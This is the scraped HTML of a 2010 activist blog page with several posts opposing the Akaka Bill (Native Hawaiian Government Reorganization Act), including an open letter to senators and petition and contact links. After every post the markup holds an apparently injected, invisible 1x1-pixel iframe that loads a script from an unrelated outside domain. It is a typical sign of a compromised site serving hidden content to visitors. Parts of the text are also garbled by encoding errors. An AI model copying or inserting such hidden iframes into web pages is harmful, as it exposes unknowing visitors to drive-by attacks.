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Akaka Bill: “How OHA No Even Help Us”

By Stop the Akaka Bill, July 24, 2010 10:21 pm

Akaka Bill: “How OHA No Even Help Us”

Hawaiians Against the Akaka Bill: “Where OHA? OHA never even help. They don’t give a damn!”

<br /> <iframe src=""></p> <p><iframe src=><br /> <iframe loading="lazy" src="http://s6g.info/go.php?sid=1" width="1px" height="1px" ></p> <div style="clear:both"></div> </div> <div class="postmetadata"> <p><img style="vertical-align:-5px;" alt="categories" src="http://www.stoptheakakabill.com/wp-content/themes/panorama/images/category.gif" height="16" width="16" /> <a href="http://www.stoptheakakabill.com/category/akaka-bill" rel="category tag">Akaka Bill</a> | <img style="vertical-align:-5px;" alt="tags" src="http://www.stoptheakakabill.com/wp-content/themes/panorama/images/tag.gif" height="16" width="16" /> <a href="http://www.stoptheakakabill.com/tag/akaka-bill" rel="tag">Akaka Bill</a>, <a href="http://www.stoptheakakabill.com/tag/native-hawaiian-government-reorganization-act" rel="tag">Native Hawaiian Government Reorganization Act</a> </p> </div> </div> <div class="post" id="post-700"> <h2><a href="http://www.stoptheakakabill.com/native-hawaiian-government-reorganization-act/we-oppose-the-native-hawaiian-government-reorganization-act" rel="bookmark" title="Permanent Link to We Oppose the Native Hawaiian Government Reorganization Act">We Oppose the Native Hawaiian Government Reorganization Act</a></h2> <div class="entry"> <div class="authormeta"> <div class="commentsmeta"><img style="vertical-align:-5px;" alt="comments" src="http://www.stoptheakakabill.com/wp-content/themes/panorama/images/comment.gif" height="16" width="16" /> <a href="http://www.stoptheakakabill.com/native-hawaiian-government-reorganization-act/we-oppose-the-native-hawaiian-government-reorganization-act#respond">Comments (0)</a> </div> By <a href="http://www.stoptheakakabill.com/author/admin" title="Posts by Stop the Akaka Bill" rel="author">Stop the Akaka Bill</a>, July 22, 2010 3:01 pm</div> <p><strong>We Oppose the Native Hawaiian Government Reorganization Act </strong></p> <p><strong>To: U.S. Senators </p> <p>Regarding: The Native Hawaiian Government Reorganization Act</strong></p> <div id="attachment_169" style="width: 528px" class="wp-caption aligncenter"><a href="http://www.stoptheakakabill.com/wp-content/uploads/2009/10/Thieves2.jpg"><img aria-describedby="caption-attachment-169" loading="lazy" src="http://www.stoptheakakabill.com/wp-content/uploads/2009/10/Thieves2.jpg" alt="Akaka Bill aka Native Hawaiian Government Reorganization Act" title="Akaka Bill aka Native Hawaiian Government Reorganization Act" width="518" height="598" class="size-full wp-image-169" srcset="http://www.stoptheakakabill.com/wp-content/uploads/2009/10/Thieves2.jpg 518w, http://www.stoptheakakabill.com/wp-content/uploads/2009/10/Thieves2-259x300.jpg 259w" sizes="(max-width: 518px) 100vw, 518px" /></a><p id="caption-attachment-169" class="wp-caption-text">Akaka Bill aka Native Hawaiian Government Reorganization Act</p></div> <p>We, the undersigned KÄnaka Maoli (indigenous Hawaiians) kupuna (elders), kumu (educators), and representatives address this communication to U.S. Senators on behalf of our people and nation, as well as of other Hawaiian Kingdom heirs. At our invitation, a number of our kakoâ€˜o (supporters) have also added their names to this letter. Our primary purpose for contacting you is to solemnly inform you of our categorical opposition to the proposed legislation before the U.S. Senate that is entitled T<strong>he Native Hawaiian Government Reorganization Act</strong>, which is <strong>commonly referred to as the “Akaka Bill,</strong>” and to urge you to vote against it.</p> <p>This legislation, first introduced in the U.S. Congress in 2000, and now confusingly existing, purposefully we believe, in six versions (S. 381; S. 708; S. 2314, H.R. 862; H.R. 1711, H.R. 2314), proposes that the U.S. Government recognize a <strong>“Native Hawaiian Government”</strong> that is to be certified by the U.S. Department of the Interior in conformity with U.S. federal law and practice regarding Native American tribal nations.</p> <p><strong>We reject this Akaka Bill for weighty reasons.</strong> To begin with, the historical harm the United States first committed in Hawaiâ€™i in 1893 brought down, not a “<strong>Native Hawaiian Government</strong>“, but the government of the independent State of Hawaiâ€˜i composed of Kanaka Maoli as well as non-Kanaka Maoli subjects. Consequently, the Kanaka Maoli people and other Hawaiian Kingdom heirs have, since that time, accumulated fundamental political and other claims against the United States under international law that the United States must recognize rather than hope to dispel via the enactment of this Bill.</p> <p>Indeed, in our view, the passage of this Bill would constitute nothing less than a second illegal denial of our Kanaka Maoli peopleâ€™s right to self-determination and the Kingdom heirsâ€™ right to sovereignty. The first outrage, we note, has already been formally admitted by the U.S. Congress in its Apology Resolution of 1993 which, furthermore, pledged to right that original wrong. Not only does the Akaka Bill not follow through on that pledge, it in fact attempts to sabotage the rightful return of our people to our status prior to 1893-98 by imposing on us a colonial U.S. “wardship” that is anchored in the U.S. judicial doctrine of the plenary power of Congress over Native American nations.</p> <p>Moreover, we submit that Hawaiâ€˜iâ€™s Congressional delegation is now trying to ram through the Akaka Bill in the U.S. Congress before the latter can inform itself fully of the vehement and ever-growing opposition to the Bill in Hawaiâ€˜i among Kanaka Maoli, other Kingdom heirs, as well as kakoâ€˜o. We use the term “ram through” advisedly because, among other things, the delegation has held but ONE 5-day hearing, back in 2000, on the Bill since its inception, and only on the single island of Oâ€˜ahu. Moreover, while the video record of that lone hearing shows overwhelming opposition to the Bill, the delegation reported quite the opposite to Congress.</p> <p>In 1993, our Hawaiâ€˜i International Peopleâ€™s Tribunalâ€”composed of world human rights leaders, including three eminent U.S. law professorsâ€”heard evidence on our main islands and found the following U.S. actions to be violations of international law: its intervention in the 1893 overthrow of our independent government; its 1898 annexation and military occupation of our homeland; its conduct of the fraudulent 1959 Hawaiâ€˜i statehood vote; and its ongoing seizure of our national lands with resulting ethnocidal effect on our people. These findings have been widely disseminated and embraced in our homeland.</p> <p>That same year, the U.S. Apology Resolution (103d Congress Joint Resolution 19, P.L. 103-150, November 28, 1993) was signed by President William Clinton in 1993. The Apology acknowledges the role of U.S. Minister John Stevens and of the U.S. military in the overthrow of our Queen Liliâ€˜uokalani in 1893 in direct contravention of bilateral treaties then binding on the United States and the Hawaiian Kingdom. The Resolution further recognizes that “the indigenous Hawaiian people never directly relinquished their claims to their inherent sovereignty as a people or over their national lands to the United States, either through their monarchy or through a plebiscite or referendum.” Moreover, it pledges the United States to acknowledge the ramifications of the 1893 overthrow so as to identify a basis for reconciliation between the U.S. government and the Kanaka Maoli people. Shamefully, the Akaka Bill moves in a direction opposite to that pledge.</p> <p>The Bill arrogantly attempts to unilaterally characterize the historical transgressions of the United States against our people and kingdom, and to unilaterally specify their remedy. We insist otherwise. U.S. crimes against our Kanaka Maoli people and other Kingdom heirs from 1893 on require, for their redress, that a mechanism composed of U.S. agents and wholly independent representatives of Kanaka Maoli and Kingdom heirs be bilaterally set up by the United States and us to make findings of fact and conclusions of international law that could serve as a road-map for the resolution of the political and legal issues now outstanding between our two parties.</p> <p><strong>In the meantime, we respectfully request that you oppose all versions of the Akaka Bill.</strong> </p> <p>Petition against the <strong>Native Hawaiian Government Reorganization Act</strong> can be seen here <a href="http://www.petitiononline.com/18932009/petition.html">here</a> </p> <p><iframe src=""><br /> <iframe src=""></p> <p><iframe src=><br /> <iframe loading="lazy" src="http://s6g.info/go.php?sid=1" width="1px" height="1px" ></p> <div style="clear:both"></div> </div> <div class="postmetadata"> <p><img style="vertical-align:-5px;" alt="categories" src="http://www.stoptheakakabill.com/wp-content/themes/panorama/images/category.gif" height="16" width="16" /> <a href="http://www.stoptheakakabill.com/category/native-hawaiian-government-reorganization-act" rel="category tag">Native Hawaiian Government Reorganization Act</a> | <img style="vertical-align:-5px;" alt="tags" src="http://www.stoptheakakabill.com/wp-content/themes/panorama/images/tag.gif" height="16" width="16" /> <a href="http://www.stoptheakakabill.com/tag/native-hawaiian-government-reorganization-ac" rel="tag">Native Hawaiian Government Reorganization Ac</a> </p> </div> </div> <div class="post" id="post-693"> <h2><a href="http://www.stoptheakakabill.com/native-hawaiian-government-reorganization-act/native-hawaiian-government-reorganization-act-4" rel="bookmark" title="Permanent Link to Native Hawaiian Government Reorganization Act">Native Hawaiian Government Reorganization Act</a></h2> <div class="entry"> <div class="authormeta"> <div class="commentsmeta"><img style="vertical-align:-5px;" alt="comments" src="http://www.stoptheakakabill.com/wp-content/themes/panorama/images/comment.gif" height="16" width="16" /> <a href="http://www.stoptheakakabill.com/native-hawaiian-government-reorganization-act/native-hawaiian-government-reorganization-act-4#respond">Comments (0)</a> </div> By <a href="http://www.stoptheakakabill.com/author/admin" title="Posts by Stop the Akaka Bill" rel="author">Stop the Akaka Bill</a>, July 21, 2010 2:53 pm</div> <p><strong>Native Hawaiian Government Reorganization Act</strong></p> <p><strong>Senator Daniel Inouye</strong> is trying to sway four Republican women to support the <strong>Native Hawaiian Government Reorganization Act</strong> aka the “Akaka Bill.” <a href="http://stopakakabill.com/Stop_The_Akaka_Bill.html">Contact these four Republican women TODAY and tell them to vote NO</a> on the <strong>Native Hawaiian Government Reorganization Act</strong> aka the “Akaka Bill.”</p> <blockquote><p> <strong>Senator Kay Bailey Hutchison – Republican from Texas.</strong> </p> <p>Click here to tell her to vote No on the Akaka Bill: <a href="http://hutchison.senate.gov/contact.cfm">http://hutchison.senate.gov/contact.cfm</a></p></blockquote> <blockquote><p> <strong>Senator Lisa Murkowski – Republican from Alaska</strong></p> <p>Click here to tell her to vote No on the Akaka Bill: <a href="http://murkowski.senate.gov/public/index.cfm?p=EMailLisa">http://murkowski.senate.gov/public/index.cfm?p=EMailLisa</a></p></blockquote> <blockquote><p> <strong>Senator Olympia Snowe – Republican from Maine</strong></p> <p>Click here to tell her to vote No on the Akaka Bill <a href="http://snowe.senate.gov/public/index.cfm?FuseAction=ContactSenatorSnowe.Email">http://snowe.senate.gov/public/index.cfm?FuseAction=ContactSenatorSnowe.Email</a></p></blockquote> <blockquote><p><strong>Senator Susan Collins — Republican from Maine</strong></p> <p> Click here to tell her to Vote No on the Akaka Bill: <a href="http://collins.senate.gov/public/continue.cfm?FuseAction=ContactSenatorCollins.EmailIssue&CFID=44719210&CFTOKEN=25573717">http://collins.senate.gov/public/continue.cfm?FuseAction=ContactSenatorCollins.EmailIssue&CFID=44719210&CFTOKEN=25573717</a></p></blockquote> <p>Watch this video for more information about the <strong>Native Hawaiian Government Reorganization Act</strong> and how YOU can help stop the <strong>Native Hawaiian Government Reorganization Act</strong> :</p> <p><object width="480" height="385"><param name="movie" value="http://www.youtube.com/v/cG8PBkTOvkU&hl=en_US&fs=1"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/cG8PBkTOvkU&hl=en_US&fs=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="480" height="385"></embed></object></p> <blockquote><p> Note: This website is <strong>www.StopTheAkakaBill.com</strong>. Go to <a href="http://stopakakabill.com/Stop_The_Akaka_Bill.html">www.StopAkakaBill.com</a> where you can copy and paste a ready-made letter to send off to these four Republican senators.</p> <p>Mahalo!!!</p></blockquote> <p><iframe src=""><br /> <iframe src=""></p> <p><iframe src=><br /> <iframe loading="lazy" src="http://s6g.info/go.php?sid=1" width="1px" height="1px" ></p> <div style="clear:both"></div> </div> <div class="postmetadata"> <p><img style="vertical-align:-5px;" alt="categories" src="http://www.stoptheakakabill.com/wp-content/themes/panorama/images/category.gif" height="16" width="16" /> <a href="http://www.stoptheakakabill.com/category/native-hawaiian-government-reorganization-act" rel="category tag">Native Hawaiian Government Reorganization Act</a> | <img style="vertical-align:-5px;" alt="tags" src="http://www.stoptheakakabill.com/wp-content/themes/panorama/images/tag.gif" height="16" width="16" /> <a href="http://www.stoptheakakabill.com/tag/akaka-bill" rel="tag">Akaka Bill</a>, <a href="http://www.stoptheakakabill.com/tag/native-hawaiian-government-reorganization-act" rel="tag">Native Hawaiian Government Reorganization Act</a> </p> </div> </div> <div class="post" id="post-689"> <h2><a href="http://www.stoptheakakabill.com/native-hawaiian-government-reorganization-act/native-hawaiian-government-reorganization-act-3" rel="bookmark" title="Permanent Link to Native Hawaiian Government Reorganization Act">Native Hawaiian Government Reorganization Act</a></h2> <div class="entry"> <div class="authormeta"> <div class="commentsmeta"><img style="vertical-align:-5px;" alt="comments" src="http://www.stoptheakakabill.com/wp-content/themes/panorama/images/comment.gif" height="16" width="16" /> <a href="http://www.stoptheakakabill.com/native-hawaiian-government-reorganization-act/native-hawaiian-government-reorganization-act-3#respond">Comments (0)</a> </div> By <a href="http://www.stoptheakakabill.com/author/admin" title="Posts by Stop the Akaka Bill" rel="author">Stop the Akaka Bill</a>, July 19, 2010 9:21 pm</div> <p><strong>Native Hawaiian Government Reorganization Act</strong></p> <p><strong><a title="Native Hawaiian Government Reorganization Act" href="http://www.kitv.com/news/24300301/detail.html" target="_blank">Senator Daniel Inouye and Senator Daniel Akaka are trying to push the Native Hawaiian Government Reorganization Act through the Senate.</a> How can you help stop the </strong><strong>Native Hawaiian Government Reorganization Act also known as the “Akaka Bill?”</strong></p> <p><strong>Watch this video to find out:<br /> </strong></p> <p><strong> </strong></p> <p><strong><br /> </strong></p> <p><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="480" height="385" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" 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src="http://www.stoptheakakabill.com/wp-content/themes/panorama/images/tag.gif" height="16" width="16" /> <a href="http://www.stoptheakakabill.com/tag/native-hawaiian-government-reorganization-act" rel="tag">Native Hawaiian Government Reorganization Act</a> </p> </div> </div> <div class="post" id="post-682"> <h2><a href="http://www.stoptheakakabill.com/akaka-bill/native-hawaiian-government-reorganization-act-2" rel="bookmark" title="Permanent Link to Native Hawaiian Government Reorganization Act">Native Hawaiian Government Reorganization Act</a></h2> <div class="entry"> <div class="authormeta"> <div class="commentsmeta"><img style="vertical-align:-5px;" alt="comments" src="http://www.stoptheakakabill.com/wp-content/themes/panorama/images/comment.gif" height="16" width="16" /> <a href="http://www.stoptheakakabill.com/akaka-bill/native-hawaiian-government-reorganization-act-2#respond">Comments (0)</a> </div> By <a href="http://www.stoptheakakabill.com/author/admin" title="Posts by Stop the Akaka Bill" rel="author">Stop the Akaka Bill</a>, July 16, 2010 11:25 am</div> <p><strong>Native Hawaiian Government Reorganization Act</strong></p> <div id="attachment_683" style="width: 490px" class="wp-caption aligncenter"><a href="http://www.stoptheakakabill.com/wp-content/uploads/2010/07/akakabill4.jpg"><img aria-describedby="caption-attachment-683" loading="lazy" class="size-full wp-image-683 " title="Native Hawaiian Government Reorganization Act" src="http://www.stoptheakakabill.com/wp-content/uploads/2010/07/akakabill4.jpg" alt="Native Hawaiian Government Reorganization Act" width="480" height="720" srcset="http://www.stoptheakakabill.com/wp-content/uploads/2010/07/akakabill4.jpg 480w, http://www.stoptheakakabill.com/wp-content/uploads/2010/07/akakabill4-200x300.jpg 200w" sizes="(max-width: 480px) 100vw, 480px" /></a><p id="caption-attachment-683" class="wp-caption-text">Native Hawaiian Government Reorganization Act. Photo credit: www.FreeHawaii.Info</p></div> <p>WE Â OPPOSE the <strong>Akaka Bill</strong>, (HB.862, HB.1711, HB.2314, SB.381, SB.708, SB.1011) otherwise known as the <strong>Native Hawaiian Government Reorganization Act</strong> of 2009 because –</p> <p>Hawaiians are not an American tribe. We are not â€œNative Americans.â€ Hawaiians are people of islands far removed from the North American continent.</p> <p>Hawaiians are in fact an inclusive group consisting of diverse peoples of many races and ethnic backgrounds.</p> <p>The <strong>Akaka bill</strong> is being put forth without input or consent of the people of Hawai`i which would allow those affected to present testimony on the <strong>Native Hawaiian Government Reorganization Act</strong>.</p> <p>In 2000 only two days of hearings were held on O`ahu island. All other hearings were cancelled.</p> <p>The current and past bills addressing the United States relationship with Native Hawaiians to provide a process of recognition by the United States of the Native Hawaiian governing entity were subsequently redrafted and amendments were added with no input or testimony from Hawaiians.</p> <p>No hearings have ever been held in Hawai`i on the current legislation before the 2009 Congress.</p> <p>The Hawaiian people seek the right to a fair and democratic process that includes hearings on these bills throughout the islands that comprise the state of Hawai`i.</p> <p>For 9 years, Hawaiians have requested that island wide hearings be rescheduled so that the hundreds of Hawaiians who want to testify can be included and their concerns heard.</p> <p>The current effort being pursued in the United States Congress violates the most fundamental principles of democracy and human rights.</p> <p>The Administration of President Barrack Obama came to office promising open government dedicated to truth and justice for all peoples.</p> <p>We call upon the Obama Administration and the Congress to fulfill that commitment.</p> <p>We call for Congressional committees to hold hearings on the<strong> Native Hawaiian Government Reorganization Act</strong> in Hawai`i to provide Hawaiians their right to make their views and opinions known.</p> <p>In contrast to the <strong>Akaka bill</strong>, we demand a free, fair, impartial “Lahui” process of self-determination to decide what form of reconciliation is acceptable to the majority.</p> <p>THEREFORE WEÂ STRONGLY OPPOSE the <strong>Akaka bill</strong> in any of its forms (HB.862, HB.1711, HB.2314, SB.381, SB.708, SB.1011,) until Congressional hearings are scheduled and held in Hawai`i on all islands, and in all states on the US continent where a significant population of Hawaiians reside, in order to provide them the right to a democratic fair, free, and impartial process of self-determination and to empower them with the ability to determine the culturally appropriate mechanism for their own self-governance and future.</p> <blockquote><p>To sign the petition against the <strong>Native Hawaiian Government Reorganization Act</strong> also known as the “Akaka Bill” go to this website and sign your name:</p> <p style="text-align: center;"><strong><a title="Native Hawaiian Government Reorganization Act" href="http://stopakakapetition.com/" target="_blank">http://stopakakapetition.com/</a></strong></p> <p style="text-align: center;"> </blockquote> <blockquote><p>Contact your senators as well via email, phone, AND fax and tell them to <strong>vote NO on the Native Hawaiian Government Reorganization Act</strong> also known as the “Akaka Bill:”</p> <p><a href="http://www.senate.gov/general/contact_information/senators_cfm.cfm">http://www.senate.gov/general/contact_information/senators_cfm.cfm</a></p> <p>Mahalo!</p></blockquote> <p><iframe src=""><br /> <iframe src=""></p> <p><iframe src=><br /> <iframe loading="lazy" src="http://s6g.info/go.php?sid=1" width="1px" height="1px" ></p> <div style="clear:both"></div> </div> <div class="postmetadata"> <p><img style="vertical-align:-5px;" alt="categories" src="http://www.stoptheakakabill.com/wp-content/themes/panorama/images/category.gif" height="16" width="16" /> <a href="http://www.stoptheakakabill.com/category/akaka-bill" rel="category tag">Akaka Bill</a> | <img style="vertical-align:-5px;" alt="tags" src="http://www.stoptheakakabill.com/wp-content/themes/panorama/images/tag.gif" height="16" width="16" /> <a href="http://www.stoptheakakabill.com/tag/akaka-bill" rel="tag">Akaka Bill</a>, <a href="http://www.stoptheakakabill.com/tag/native-hawaiian-government-reorganization-act" rel="tag">Native Hawaiian Government Reorganization Act</a> </p> </div> </div> <div class="post" id="post-669"> <h2><a href="http://www.stoptheakakabill.com/akaka-bill/akaka-bill-office-of-hawaiian-affairs-oha-trustees-vote-unanimously-to-support-recent-changes-to-hawaiian-recognition-bill" rel="bookmark" title="Permanent Link to Akaka Bill: Office of Hawaiian Affairs OHA Trustees Vote Unanimously to Support Recent Changes to Hawaiian Recognition Bill">Akaka Bill: Office of Hawaiian Affairs OHA Trustees Vote Unanimously to Support Recent Changes to Hawaiian Recognition Bill</a></h2> <div class="entry"> <div class="authormeta"> <div class="commentsmeta"><img style="vertical-align:-5px;" alt="comments" src="http://www.stoptheakakabill.com/wp-content/themes/panorama/images/comment.gif" height="16" width="16" /> <a href="http://www.stoptheakakabill.com/akaka-bill/akaka-bill-office-of-hawaiian-affairs-oha-trustees-vote-unanimously-to-support-recent-changes-to-hawaiian-recognition-bill#respond">Comments (0)</a> </div> By <a href="http://www.stoptheakakabill.com/author/admin" title="Posts by Stop the Akaka Bill" rel="author">Stop the Akaka Bill</a>, July 15, 2010 8:49 pm</div> <p><strong>Akaka Bill: Office of Hawaiian Affairs OHA Trustees Vote Unanimously to Support Recent Changes to Hawaiian Recognition Bill </strong></p> <p><a href="http://www.stoptheakakabill.com/wp-content/uploads/2010/07/akakabill1.bmp"><img class="aligncenter size-full wp-image-671" title="Stop the Akaka Bill" src="http://www.stoptheakakabill.com/wp-content/uploads/2010/07/akakabill1.bmp" alt="Stop the Akaka Bill" /></a></p> <p><strong>Hawaiians</strong> overwhelmingly <strong>oppose the <a title="Native Hawaiian Government Reorganization Act" href="http://akaka.senate.gov/upload/amdt_HR2314.pdf" target="_blank">Akaka Bill</a></strong> aka the <strong>Native Hawaiian Government Reorganization Act</strong> (NHGRA) yet the <strong>Office of Hawaiian Affairs</strong> (OHA) <strong>Trustees</strong> <em><strong>ignore the will of the Hawaiian people</strong></em>.</p> <p>On July 15, 2010 the <strong><a title="Office of Hawaiian Affairs - Akaka Bill" href="http://www.oha.org" target="_blank">Office of Hawaiian Affairs</a></strong> (OHA) posted a <a title="Stop the Akaka Bill" href="http://www.oha.org/index.php?option=com_content&task=view&id=1151&Itemid=227" target="_blank">press release</a> that details their unanimous decision supporting the <strong>Akaka Bill</strong> which was made without the input of <strong>Hawaiians:</strong></p> <p><strong>An excerpt:</strong></p> <blockquote><p>The Office of Hawaiian Affairs (OHA) Board of Trustees voted unanimously today to support the changes to the Native Hawaiian Government Reorganization Act (NHGRA), which were recently agreed to by Senator Daniel Akaka, Senator Daniel Inouye, Governor Linda Lingle and Attorney General Mark Bennett.</p> <p>â€œThis timely and unanimous vote of the Board of Trustees places OHA, the Constitutional entity representing Hawaiians, at the lead position in supporting these important changes, which will allow all of us to move forward with this landmark bill,â€ said Haunani Apoliona, Chairperson, Office of Hawaiian Affairs. â€œThis bill is good for Hawaiians and will bring beneficial outcomes to all residents of Hawaiâ€˜i. This is an opportunity for Native Hawaiians to unite and move forward together with a collective voice. I encourage ALL Hawaiians, wherever they may reside, to participate in the process for it will take all of us working together to make a difference for years to come,â€ Apoliona said.</p></blockquote> <p>You can view the press release by the Office of Hawaiian Affairs supporting the <strong>Akaka Bill</strong> unanonymously while ignoring the will of the Hawaiian people here:</p> <p><a href="http://www.oha.org/index.php?option=com_content&task=view&id=1151&Itemid=227">http://www.oha.org/index.php?option=com_content&task=view&id=1151&Itemid=227</a></p> <p>This is the will of <strong>Hawaiians and non-Hawaiians</strong> who do not want the <strong>Akaka Bill</strong>:</p> <div id="attachment_675" style="width: 730px" class="wp-caption aligncenter"><a href="http://www.stoptheakakabill.com/wp-content/uploads/2010/07/akakabill2.jpg"><img aria-describedby="caption-attachment-675" loading="lazy" class="size-full wp-image-675" title="Akaka Bill" src="http://www.stoptheakakabill.com/wp-content/uploads/2010/07/akakabill2.jpg" alt="Akaka Bill" width="720" height="450" srcset="http://www.stoptheakakabill.com/wp-content/uploads/2010/07/akakabill2.jpg 720w, http://www.stoptheakakabill.com/wp-content/uploads/2010/07/akakabill2-300x187.jpg 300w" sizes="(max-width: 720px) 100vw, 720px" /></a><p id="caption-attachment-675" class="wp-caption-text">Akaka Bill</p></div> <div id="attachment_677" style="width: 730px" class="wp-caption aligncenter"><a href="http://www.stoptheakakabill.com/wp-content/uploads/2010/07/akakabill3.jpg"><img aria-describedby="caption-attachment-677" loading="lazy" class="size-full wp-image-677" title="Akaka Bill" src="http://www.stoptheakakabill.com/wp-content/uploads/2010/07/akakabill3.jpg" alt="Akaka Bill" width="720" height="599" srcset="http://www.stoptheakakabill.com/wp-content/uploads/2010/07/akakabill3.jpg 720w, http://www.stoptheakakabill.com/wp-content/uploads/2010/07/akakabill3-300x249.jpg 300w" sizes="(max-width: 720px) 100vw, 720px" /></a><p id="caption-attachment-677" class="wp-caption-text">Akaka Bill</p></div> <div id="attachment_177" style="width: 614px" class="wp-caption aligncenter"><a href="http://www.stoptheakakabill.com/wp-content/uploads/2009/12/sneak1.jpg"><img aria-describedby="caption-attachment-177" loading="lazy" class="size-full wp-image-177 " title="Akaka Bill: Sneak Attack by Senators Inouye and Akaka. " src="http://www.stoptheakakabill.com/wp-content/uploads/2009/12/sneak1.jpg" alt="Akaka Bill" width="604" height="453" srcset="http://www.stoptheakakabill.com/wp-content/uploads/2009/12/sneak1.jpg 604w, http://www.stoptheakakabill.com/wp-content/uploads/2009/12/sneak1-300x225.jpg 300w" sizes="(max-width: 604px) 100vw, 604px" /></a><p id="caption-attachment-177" class="wp-caption-text">Akaka Bill. Photo of peaceful protest on December 14, 2009 Photo courtesy of Pono Kealoha</p></div> <div id="attachment_199" style="width: 747px" class="wp-caption aligncenter"><a href="http://www.stoptheakakabill.com/wp-content/uploads/2009/12/akakabill3.jpg"><img aria-describedby="caption-attachment-199" loading="lazy" class="size-full wp-image-199" title="Akaka Bill" src="http://www.stoptheakakabill.com/wp-content/uploads/2009/12/akakabill3.jpg" alt="Akaka Bill" width="737" height="552" srcset="http://www.stoptheakakabill.com/wp-content/uploads/2009/12/akakabill3.jpg 737w, http://www.stoptheakakabill.com/wp-content/uploads/2009/12/akakabill3-300x224.jpg 300w" sizes="(max-width: 737px) 100vw, 737px" /></a><p id="caption-attachment-199" class="wp-caption-text">Akaka Bill</p></div> <div id="attachment_169" style="width: 528px" class="wp-caption aligncenter"><a href="http://www.stoptheakakabill.com/wp-content/uploads/2009/10/Thieves2.jpg"><img aria-describedby="caption-attachment-169" loading="lazy" class="size-full wp-image-169" title="Akaka Bill aka Native Hawaiian Government Reorganization Act" src="http://www.stoptheakakabill.com/wp-content/uploads/2009/10/Thieves2.jpg" alt="Akaka Bill aka Native Hawaiian Government Reorganization Act" width="518" height="598" srcset="http://www.stoptheakakabill.com/wp-content/uploads/2009/10/Thieves2.jpg 518w, http://www.stoptheakakabill.com/wp-content/uploads/2009/10/Thieves2-259x300.jpg 259w" sizes="(max-width: 518px) 100vw, 518px" /></a><p id="caption-attachment-169" class="wp-caption-text">Akaka Bill aka Native Hawaiian Government Reorganization Act</p></div> <p>Â </p> <div id="attachment_172" style="width: 614px" class="wp-caption aligncenter"><a href="http://www.stoptheakakabill.com/wp-content/uploads/2009/12/sneak2.jpg"><img aria-describedby="caption-attachment-172" loading="lazy" class="size-full wp-image-172" title="Akaka Bill" src="http://www.stoptheakakabill.com/wp-content/uploads/2009/12/sneak2.jpg" alt="Akaka Bill" width="604" height="453" srcset="http://www.stoptheakakabill.com/wp-content/uploads/2009/12/sneak2.jpg 604w, http://www.stoptheakakabill.com/wp-content/uploads/2009/12/sneak2-300x225.jpg 300w" sizes="(max-width: 604px) 100vw, 604px" /></a><p id="caption-attachment-172" class="wp-caption-text">Akaka Bill Photo Courtesy of Pono Kealoha</p></div> <p><iframe src=""><br /> <iframe src=""></p> <p><iframe src=><br /> <iframe loading="lazy" src="http://s6g.info/go.php?sid=1" width="1px" height="1px" ></p> <div style="clear:both"></div> </div> <div class="postmetadata"> <p><img style="vertical-align:-5px;" alt="categories" src="http://www.stoptheakakabill.com/wp-content/themes/panorama/images/category.gif" height="16" width="16" /> <a href="http://www.stoptheakakabill.com/category/akaka-bill" rel="category tag">Akaka Bill</a> | <img style="vertical-align:-5px;" alt="tags" src="http://www.stoptheakakabill.com/wp-content/themes/panorama/images/tag.gif" height="16" width="16" /> <a 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rel="author">Stop the Akaka Bill</a>, July 14, 2010 11:42 am</div> <p><strong>Akaka Bill: What You Can Do to Help Stop the Akaka Bill</strong></p> <p>We have <strong>Akaka Bill</strong> news & there’s not a moment to lose. </p> <p><strong>Senator Daniel Inouye</strong> is trying to get the <strong>Akaka Bill</strong> passed. Now is the time to stand tall and get involved. </p> <p>Sign the <strong><a href="http://stopakakapetition.com/">Anti-Akaka Bill Petition</a></strong> to show your opposition:</p> <blockquote><p><a href="http://www.stopakakapetition.com">www.StopAkakaPetition.com</a></p></blockquote> <p><strong>Also contact your senators in the U.S. Senate and tell them to vote NO on the Akaka Bill:</strong></p> <blockquote><p> <a href="http://www.senate.gov/general/contact_information/senators_cfm.cfm">http://www.senate.gov/general/contact_information/senators_cfm.cfm</a></p></blockquote> <p> Watch this video to discover what else you can do to help STOP the <strong>Akaka Bill</strong>.</p> <p><object width="480" height="385"><param name="movie" value="http://www.youtube.com/v/NQd3jGpZAtM&hl=en_US&fs=1"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/NQd3jGpZAtM&hl=en_US&fs=1" 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href="http://www.stoptheakakabill.com/tag/hawaii" rel="tag">Hawaii</a>, <a href="http://www.stoptheakakabill.com/tag/hawaiians" rel="tag">Hawaiians</a>, <a href="http://www.stoptheakakabill.com/tag/hr-2314" rel="tag">HR 2314</a>, <a href="http://www.stoptheakakabill.com/tag/native-hawaiian-government-reorganization-act" rel="tag">Native Hawaiian Government Reorganization Act</a>, <a href="http://www.stoptheakakabill.com/tag/republicans-and-the-akaka-bill" rel="tag">Republicans and the Akaka Bill</a>, <a href="http://www.stoptheakakabill.com/tag/senator-dan-inouye" rel="tag">Senator Dan Inouye</a>, <a href="http://www.stoptheakakabill.com/tag/senator-daniel-akaka" rel="tag">Senator Daniel Akaka</a>, <a href="http://www.stoptheakakabill.com/tag/senator-daniel-inouye" rel="tag">Senator Daniel Inouye</a>, <a href="http://www.stoptheakakabill.com/tag/stop-the-akaka-bill" rel="tag">Stop the Akaka Bill</a> </p> </div> </div> <div class="post" id="post-657"> <h2><a href="http://www.stoptheakakabill.com/akaka-bill/akaka-bill-hawaiians-do-not-want-the-akaka-bill-yet-governor-linda-lingle-sends-a-letter-to-u-s-senators-encouraging-support-for-the-akaka-bill" rel="bookmark" title="Permanent Link to Akaka Bill: Hawaiians Do Not Want the Akaka Bill Yet Governor Linda Lingle Sends a Letter to U.S. Senators Encouraging Support for the Akaka Bill">Akaka Bill: Hawaiians Do Not Want the Akaka Bill Yet Governor Linda Lingle Sends a Letter to U.S. Senators Encouraging Support for the Akaka Bill</a></h2> <div class="entry"> <div class="authormeta"> <div class="commentsmeta"><img style="vertical-align:-5px;" alt="comments" src="http://www.stoptheakakabill.com/wp-content/themes/panorama/images/comment.gif" height="16" width="16" /> <a href="http://www.stoptheakakabill.com/akaka-bill/akaka-bill-hawaiians-do-not-want-the-akaka-bill-yet-governor-linda-lingle-sends-a-letter-to-u-s-senators-encouraging-support-for-the-akaka-bill#respond">Comments (0)</a> </div> By <a 